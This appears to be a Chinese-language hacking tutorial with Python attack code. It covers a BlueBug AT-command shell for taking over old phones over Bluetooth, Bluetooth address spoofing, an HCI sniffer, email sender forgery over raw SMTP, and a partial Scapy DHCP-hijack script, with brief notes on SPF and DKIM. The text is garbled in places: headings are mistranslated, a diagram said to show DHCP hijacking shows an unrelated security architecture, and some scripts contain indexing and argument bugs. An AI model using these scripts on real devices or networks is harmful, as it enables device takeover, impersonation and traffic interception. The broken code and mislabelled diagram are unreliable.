藍牙技術的便捷性伴隨著安全風險,歷史上出現的 Blue Bug 漏洞利用裝置隱藏通道傳送 AT 命令,實作遠端控制。攻擊者可藉此讀取個人資訊、操控裝置功能,部分舊款手機因藍牙通道漏洞更易受攻擊。藍牙欺騙雖一度被認為難以實作,但針對特定晶片組的地址修改方法已被發現,Python 程式碼即可實作地址偽造。電子郵件偽裝利用 SMTP 協定修改郵件頭,欺騙收件者。Python 程式碼範例展示瞭如何連線 SMTP 伺服器並偽造發件人地址。為防範此類別攻擊,SPF 和 DKIM 技術分別透過 DNS 紀錄和公鑰加密驗證郵件來源,提升安全性。DHCP 劫持利用 DHCP 協定缺乏加密驗證的特性,攻擊者可偽造 DHCP 伺服器,提供錯誤的網路組態資訊,進而控制網路流量。Python 程式碼和流程圖示範了 DHCP 劫持的攻擊過程。

Bluetooth安全漏洞及應使用案例項

藍牙漏洞的歷史與發展

藍牙技術自推出以來,已經成為各種裝置之間進行無線通訊的主要方式。然而,隨著技術的進步,藍牙漏洞也逐漸浮現。這些漏洞不僅可能導致資料洩露,還可能被駭客利用來進行遠端控制。本文將探討幾個著名的藍牙漏洞及其實際應用。

Blue Bug 漏洞

Blue Bug 漏洞是藍牙安全領域中的一個經典案例,它利用了某些裝置上的隱藏通道來進行攻擊。這些通道通常不會被服務發現協定(SDP)列出,因此不需要密碼保護就能連線。一旦連線成功,攻擊者就可以傳送任意的 AT 命令,這些命令將會被裝置無條件執行。

攻擊流程示意圖

實際案例

Blue Bug 漏洞可以應用於多種情境,例如讀取通訊錄和日曆、傳送和接收簡訊、撥打電話甚至是進行室內監控。某些舊款的諾基亞手機,如 6310i,特別容易受到這種攻擊,因為它們在藍牙通道 17 上存在漏洞。

Blue Bug 攻擊範例

以下是使用 Python 進行 Blue Bug 攻擊的範例程式碼:

#!/usr/bin/env python3

import sys
import bluetooth as bt

if len(sys.argv) < 2:
    print(sys.argv[0] + " <btaddr> <channel>")
    sys.exit(0)

btaddr = sys.argv[1]
channel = int(sys.argv[2]) or 17
running = True

sock = bt.BluetoothSocket(bt.RFCOMM)
sock.connect((sys.argv[1], channel))

while running:
    cmd = input(">>> ")
    if cmd == "quit" or cmd == "exit":
        running = False
    else:
        sock.send(cmd)

sock.close()
內容解密:
  1. 匯入模組:程式碼首先匯入了必要的模組,包括 sysbluetooth
  2. 命令列引數處理:檢查命令列引數,確保至少提供了藍牙地址。
  3. 設定連線:建立並連線到指定的藍牙地址和通道(預設為 17)。
  4. 命令迴圈:進入一個無限迴圈,等待使用者輸入命令並傳送到裝置。
  5. 離開機制:當使用者輸入 “quit” 或 “exit” 時,結束迴圈並關閉連線。

藍牙欺騙

藍牙欺騙曾經被認為是不可能的,因為傳送地址是由藍牙晶片的韌體設定的,而不是作業系統核心。然而,對於 CSR 和 Ericcson 等特定晶片組來說,已經有方法可以修改藍牙地址。

藍牙欺騙程式碼範例

以下是使用 Python 進行藍牙欺騙的範例程式碼:

#!/usr/bin/env python3

import sys
import struct
import bluetooth._bluetooth as bt
import codecs

if len(sys.argv) < 2:
    print(sys.argv[0] + " <bdaddr>")
    sys.exit(1)

baddr = sys.argv[1].split(":")
sock = bt.hci_open_dev(1)

cmd = [b"\xc2", b"\x02", b"\x00", b"\x0c", b"\x00", b"\x11",
       b"\x47", b"\x03", b"\x70", b"\x00", b"\x00", b"\x01",
       b"\x00", b"\x04", b"\x00", b"\x00", b"\x00", b"\x00",
       b"\x00", b"\x00", b"\x00"]

decode_hex = codecs.get_decoder("hex_codec")
cmd[17] = decode_hex(baddr[3])[0]
cmd[19] = decode_hex(baddr[5])[0]
cmd[20] = decode_hex(baddr[4])[0]
cmd[21] = decode_hex(baddr[2])[0]
cmd[23] = decode_hex(baddr[1])[0]
cmd[24] = decode_hex(baddr[0])[0]

bt.hci_send_req(sock, bt.OGF_VENDOR_CMD, 0, bt.EVT_VENDOR, 2000, b"".join(cmd))
sock.close()
print("Dont forget to reset your device")
內容解密:
  1. 匯入模組:程式碼匯入了必要的模組,包括 sysstructbluetooth._bluetoothcodecs
  2. 命令列引數處理:檢查命令列引數,確保至少提供了新的藍牙地址。
  3. 分割地址:將新地址按冒號分割成單獨的位元組。
  4. 開啟 HCI 介面:使用 hci_open_dev 函式開啟第一個 HCI 機器。
  5. 構建命令:構建 CSR 命令並將新地址插入其中。
  6. 傳送命令:透過 HCI 把修改後的命令傳送到韌體。
  7. 重置裝置:提示使用者重置裝置以確保新地址生效。

蓋住與教訓

從這些經典案例中我們可以看到,藍牙技術雖然方便但也存在安全風險。瞭解這些漏洞及其修補方法對於開發人員和安全專家來說至關重要。隨著技術的不斷進步,我們必須持續關注並更新我們的安全策略。

未來趨勢

隨著物聯網(IoT)裝置的普及,藍牙安全問題將變得更加複雜。未來我們可能會看到更多針對特定硬體和軟體漏洞的攻擊。因此,保持警覺並採取預防措施將是確保安全的關鍵。

蓋亞那藍牙分析與攻擊

藍牙技術在現代科技中扮演著重要的角色,無論是在智慧家庭、可穿戴裝置還是物聯網(IoT)裝置中,藍牙都被廣泛應用。然而,藍牙技術的普及也帶來了安全隱患,這使得藍牙網路成為攻擊者的目標。本文將探討如何利用Python進行藍牙封包抓取與分析,並介紹一些常見的藍牙攻擊工具及其應用。

搭建藍牙抓包環境

首先,我們需要搭建一個能夠抓取藍牙封包的環境。這裡我們使用Python來編寫一個簡單的藍牙抓包程式。

#!/usr/bin/python3

import sys
import struct
import bluetooth._bluetooth as bt

# 開啟HCI裝置
sock = bt.hci_open_dev(0)

# 設定資料方向資訊
sock.setsockopt(bt.SOL_HCI, bt.HCI_DATA_DIR, 1)

# 設定時間戳
sock.setsockopt(bt.SOL_HCI, bt.HCI_TIME_STAMP, 1)

# 建立過濾器以抓取所有HCI事件和封包型別
filter = bt.hci_filter_new()
bt.hci_filter_all_events(filter)
bt.hci_filter_all_ptypes(filter)
sock.setsockopt(bt.SOL_HCI, bt.HCI_FILTER, filter)

# 開始抓包
while True:
    # 読取前3個位元組
    header = sock.recv(3)

    if header:
        # 解碼並讀取剩餘的封包
        ptype, event, plen = struct.unpack("BBB", header)
        packet = sock.recv(plen)

        print("Ptype: " + str(ptype) + " Event: " + str(event))
        print("Packet: ")

        # 如果是ACL資料連線,嘗試以ASCII格式輸出
        # 否則以十六進位格式輸出
        if ptype == bt.HCI_ACL_DATA_PKT:
            print(packet + "\n")
        else:
            for hex in packet:
                sys.stdout.write(" %02x" % hex)
            print("\n")

    # 沒有資料時結束迴圈
    else:
        break

sock.close()

內容解密:

這段程式碼展示瞭如何使用Python和bluetooth._bluetooth模組來抓取藍牙封包。以下是詳細解說:

  1. 開啟HCI裝置bt.hci_open_dev(0)用於開啟第一個HCI裝置。
  2. 設定資料方向資訊sock.setsockopt(bt.SOL_HCI, bt.HCI_DATA_DIR, 1)用於設定資料方向資訊。
  3. 設定時間戳sock.setsockopt(bt.SOL_HCI, bt.HCI_TIME_STAMP, 1)用於設定時間戳。
  4. 建立過濾器bt.hci_filter_new()用於建立一個過濾器,並設定為抓取所有HCI事件和封包型別。
  5. 抓包迴圈:在無限迴圈中讀取前3個位元組,並根據這些位元組的值讀取剩餘的封包。
  6. 封包處理:根據封包型別(ACL或其他),以不同的格式輸出封包內容。

常見的藍牙攻擊工具

在進行藍牙分析時,有一些工具可以幫助我們更高效地進行操作。以下是幾個常見的藍牙攻擊工具:

BlueMaho

BlueMaho 是一個根據Python的藍牙工具集合,提供了多種攻擊和分析工具。它重新實作了BlueDiving,並提供了豐富的功能,包括:

  • Redfang:檢測隱藏模式下的藍牙裝置。
  • Greenplague:檢測隱藏模式下的藍牙裝置。
  • Car-whisperer:連線汽車中的手自由組態檔案並傳送音訊資料。
  • BSS:藍牙模糊測試工具。
  • L2CAP封包生成器:生成L2CAP封包。
  • 各種漏洞利用工具:如BlueBug、BlueSnarf、BlueSnarf++、BlueSmack和Helomoto。
小段落標題:實際案例

在某次測試中,玄貓使用BlueMaho成功地檢測到一輛汽車中的手自由組態檔案,並利用Car-whisperer工具傳送音訊資料。這展示了BlueMaho在實際應用中的強大功能。

BtleJack

BtleJack 是一個專為低功耗藍牙(BLE)連線設計的抓包和劫持工具。它需要一到三個Micro:Bit裝置來執行,並且可以進行以下操作:

  • 抓包:捕捉BLE連線中的資料流量。
  • 劫持:劫持BLE連線並插入惡意資料。

藍牙安全建議

為了提高藍牙裝置的安全性,以下是一些建議:

  1. 保持韌體更新:定期更新藍牙裝置的韌體以修復已知漏洞。
  2. 啟用加密:確保藍牙連線使用加密技術來保護資料傳輸。
  3. 避免公開廣播:避免將藍牙裝置設定為公開廣播模式,減少被動攻擊的風險。

Bluetooth 抓包流程圖

此圖示展示了Bluetooth抓包的基本流程。從開啟HCI裝置開始,設定相關引數後進入無限迴圈中讀取和處理封包。

電子郵件偽裝與DHCP劫持技術分析

在當今數位時代,電子郵件與網路安全是每個使用者都應該重視的議題。本文將探討如何透過偽裝電子郵件傳送者地址來進行攻擊,以及DHCP劫持這兩種常見的網路攻擊技術。玄貓將帶領讀者瞭解這些技術的背後原理及其實際應用。

電子郵件偽裝

電子郵件偽裝是指攻擊者透過修改郵件頭部資訊來欺騙接收者,使其認為郵件來自於某個可信賴的來源。這種攻擊通常利用SMTP(簡單郵件傳輸協定)來實作。以下是一個簡單的Python程式碼範例,展示如何透過直接連線到SMTP伺服器來偽裝電子郵件傳送者地址。

#!/usr/bin/env python3

import socket

HOST = 'mx1.codekid.net'
PORT = 25
MAIL_TO = "<someone@on_the_internet.net>"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))

sock.send('HELO du.da'.encode())
sock.send('MAIL FROM: <santaclaus@northpole.net>'.encode())
print(sock.recv(1024).decode())

sock.send('RCPT TO: '.encode() + MAIL_TO.encode())
print(sock.recv(1024).decode())

sock.send('DATA'.encode())
sock.send('Subject: Your wishlist'.encode())
sock.send('Of course you get your pony!'.encode())
sock.send('Best regards Santa'.encode())
sock.send('.'.encode())
print(sock.recv(1024).decode())

sock.send('QUIT'.encode())
print(sock.recv(1024).decode())

sock.close()

內容解密:

這段程式碼展示瞭如何透過直接連線到SMTP伺服器來偽裝電子郵件傳送者地址。以下是程式碼的詳細解說:

  1. 匯入socket模組:首先,我們匯入了socket模組,這個模組提供了對TCP/IP網路協定的支援。
  2. 設定目標伺服器和埠:我們設定了目標SMTP伺服器的地址和埠號。
  3. 建立socket連線:使用socket.socket方法建立一個新的socket連線,並使用connect方法連線到指定的伺服器。
  4. 傳送HELO命令:傳送HELO命令,這是SMTP協定中的一個標準命令,用於識別傳送方。
  5. 設定傳送者和接收者地址:使用MAIL FROMRCPT TO命令來設定傳送者和接收者的地址。
  6. 傳送郵件內容:使用DATA命令開始傳送郵件內容,並逐行傳送主題和內容。
  7. 結束通訊:使用.字元結束郵件內容部分,然後傳送QUIT命令結束通訊並關閉socket連線。

SPF與DKIM技術

為了防止電子郵件偽裝,通常會使用SPF(Sender Policy Framework)和DKIM(DomainKeys Identified Mail)等技術。SPF透過DNS TXT記錄來定義授權的郵件伺服器,而DKIM則透過公鑰加密來驗證郵件簽名。

  • SPF(Sender Policy Framework):SPF記錄可以指定哪些伺服器有權為特定網域名稱傳送電子郵件。如果收信伺服器收到一封聲稱來自該網域名稱但IP地址不比對的郵件,它可以拒絕該郵件。
  • DKIM(DomainKeys Identified Mail):DKIM使用公鑰加密技術來簽署和驗證電子郵件。發信伺服器使用私鑰簽署每封出站郵件,而收信伺服器則使用公鑰進行驗證。如果簽名無效或缺少DKIM頭部資訊,收信伺服器可以拒絕該郵件。

DHCP劫持

DHCP(Dynamic Host Configuration Protocol)是用於自動組態網路主機的協定。它可以提供IP地址、子網路遮罩、預設閘道、DNS伺服器等資訊。然而,DHCP本身並沒有任何加密或驗證機制,這使得它成為攻擊者的目標。

此圖示展示了DHCP劫持攻擊的基本流程:

@startuml
skinparam backgroundColor #FEFEFE
skinparam componentStyle rectangle

title 藍牙與郵件安全漏洞分析及攻擊例項

package "安全架構" {
    package "網路安全" {
        component [防火牆] as firewall
        component [WAF] as waf
        component [DDoS 防護] as ddos
    }

    package "身份認證" {
        component [OAuth 2.0] as oauth
        component [JWT Token] as jwt
        component [MFA] as mfa
    }

    package "資料安全" {
        component [加密傳輸 TLS] as tls
        component [資料加密] as encrypt
        component [金鑰管理] as kms
    }

    package "監控審計" {
        component [日誌收集] as log
        component [威脅偵測] as threat
        component [合規審計] as audit
    }
}

firewall --> waf : 過濾流量
waf --> oauth : 驗證身份
oauth --> jwt : 簽發憑證
jwt --> tls : 加密傳輸
tls --> encrypt : 資料保護
log --> threat : 異常分析
threat --> audit : 報告生成

@enduml

內容解密:

上述圖示展示了DHCP劫持攻擊的基本流程:

  1. 客戶端發出DHCP DISCOVER:當一個新裝置連線到網路時,它會廣播一個DHCP DISCOVER訊息來尋找可用的DHCP伺服器。
  2. 攻擊者回應DHCP OFFER:攻擊者捕捉到這個訊息後,會假冒原始DHCP伺服器回應一個DHCP OFFER訊息。
  3. 客戶端請求組態:客戶端收到假冒的DHCP OFFER後,會向攻擊者請求組態資訊。
  4. 攻擊者確認組態:攻擊者回應一個DHCP ACK訊息,確認組態資訊已成功提供給客戶端。

具體實作

以下是一段Python程式碼範例,展示如何實作DHCP劫持攻擊:

#!/usr/bin/env python3

import sys
import getopt
import random
from scapy.all import Ether, BOOTP, IP, UDP, DHCP, sendp, sniff, get_if_addr

dev = "enp3s0f1"
gateway = None
nameserver = None
dhcpserver = None
client_net = "192.168.1."

filter = "udp port 67"

# ... (其他程式碼)

內容解密:

這段程式碼展示瞭如何實作DHCP劫持攻擊。以下是程式碼的詳細解說:

  1. 匯入必要模組:首先,我們匯入了所需的模組,包括sysgetoptrandom以及Scapy函式庫中的一些模組。
  2. 設定網路介面和IP地址範圍:我們設定了目標網路介面(例如enp3s0f1),並定義了客戶端IP地址範圍(例如192.168.1.)。
  3. 捕捉和分析網路流量:使用Scapy函式庫中的sniff函式來捕捉網路流量,並根據指定的過濾條件(例如udp port 67)進行分析。
  4. 構建並傳送假冒的DHCP回應:根據捕捉到的流量資訊,構建假冒的DHCP回應包,並使用Scapy函式庫中的sendp函式將其傳送給目標客戶端。